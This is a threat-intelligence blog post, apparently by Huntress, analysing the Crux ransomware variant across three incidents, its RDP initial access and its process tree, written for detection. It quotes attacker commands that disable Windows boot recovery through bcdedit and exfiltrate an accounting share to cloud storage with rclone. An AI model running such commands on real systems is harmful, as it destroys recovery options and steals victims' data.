Getting to the Crux (Ransomware) of the Matter

Huntress has spotted a new ransomware variant that goes by the name “Crux”.

Threat actors behind the Crux incidents claim that the ransomware variant is “a part of the BlackByte group,” as shown in Figure 1.

Figure 1: Excerpt of ransom note

So far, we’ve seen the Crux ransomware being deployed in three separate incidents. Encrypted files end in the .crux file extension, and ransom notes follow the naming convention crux_readme_[random].txt. The support email address observed in all ransom notes thus far is BlackBCruxSupport@onionmail.org.

Key takeaways: 

• Crux is a never-before-publicized variant that claims to be part of BlackByte ransomware  

• From our limited aperture, one initial access vector used by the threat group appears to be via Remote Desktop Protocol (RDP)

• Once the executable is launched, it has a distinctive process tree that progresses from the unsigned ransomware binary, through svchost.exe, cmd.exe, and  bcdedit.exe, before encrypting files

The Crux incidents 

For the first two observed incidents we were unable to determine the initial access vector due to various factors. However, for the third incident, we found that the initial access vector was the use of valid credentials via RDP.

The ransomware executable has been seen running from different folders (e.g., temp folder, C:\Windows, etc.) and with different names on each endpoint. The executable file hashes were different for each incident/impacted organization.

Figure 2: Example of the process lineage

Again, in all observed incidents, on each endpoint, the names of the ransomware executable have been different. The executables have also been launched with identifiers that look to be unique to each impacted organization. The command line used to launch the ransomware will contain the identifier and either the -s or the -a argument. 

Before encrypting files, the ransomware executable launches the legitimate svchost.exe, albeit with a distinctive command line, perhaps through process injection: either -a or -s and the unique identifier provided when the ransomware executable was launched. 

The legitimate Windows process svchost.exe runs multiple Windows services; however, threat actors can misuse it to disguise their commands. From this process, a command prompt is launched to run the LOLBin bcdedit.exe, which modifies the boot configurations and disables system recovery. This stops any system restoration attempts by the victim, making ransomware attacks more difficult to recover from.  

Process tree/progression:

C:\Users\[REDACTED]\Desktop\Unrips.exe  -a [REDACTED]

C:\Windows\system32\svchost.exe -a [REDACTED]

Cmd.exe /c bcdedit  /set {default} bootstatuspolicy ignoreallfailures

Incident 1 

This incident was first detected across seven endpoints linked to one organization on July 4. The activity across these endpoints varied; on some, the threat actor had disabled the recovery via bcdedit.exe and triggered canary reports, while on others, further activity was detected, such as remote Registry dumps, driver installations, and the use of Rclone.  

On one endpoint, detection started on July 4, after Microsoft Defender flagged and blocked suspicious Registry dumping behavior (Behavior:Win32/RemoteRegDump.A) from svchost.exe. Further inspection of the EVTX logs also showed evidence of driver installation (Service Control Manager/7045;cfxdlfvk,C:\Windows\system32\drivers\cfxdlfvk.sys,kernel mode driver,system start), but the endpoint was taken offline before it could be investigated further. 

On another endpoint, we observed the user administrator executing rclone.exe (via the command rclone.exe copy X:\\Accounting mega: redacted), indicating data exfiltration.

Incident 2

Also on July 4, a separate incident involved bcdedit.exe and resulted in ransomware canary files being tripped. Based on EDR telemetry, in this attack, the threat actor created user accounts and executed commands that were indicative of lateral movement before disabling Windows recovery and deploying the ransomware. ELK search results, looking specifically at svchost.exe with two arguments (including either -a or—s) launched from an unsigned executable, link this attack to the other incidents. 

Incident 3 

The third incident, which happened on July 13, seemed to indicate even more clearly that the threat actor had some level of prior knowledge of the infrastructure. The ransomware was launched within seven minutes of an initial test login, apparently using valid credentials to verify access, and within 90 seconds of the interactive login during which it was deployed.

EDR telemetry and endpoint session information showed the threat actor compromised and used a support user account, and also accessed the endpoint via the administrator account. 

A closer look at the detected activity shows the threat actor logging in via the support account and then running through the process lineage involving svchost.exe and bcdedit.exe before creating the ransom notes.

Getting to the Crux

Crux ransom notes state they are part of BlackByte, but keep in mind that these are claims by the threat actor, and Huntress hasn’t validated them. BlackByte, which has been around since 2021, is a ransomware-as-a-service (RaaS) group that has had multiple ransomware variants over the years.

Over the past few weeks, we’ve seen ransom notes linking back to Crux in three different incidents. While we have limited insight into the initial access vector here, given the fact that in one incident the adversary appeared to target RDP, it’s important to act on our continual advice to secure exposed RDP instances. The threat actor also clearly has a preference for legitimate processes like bcdedit.exe and svchost.exe, so continual monitoring for suspicious behavior using these processes via endpoint detection and response (EDR) can help suss out threat actors in your environment. 

Indicators of Compromise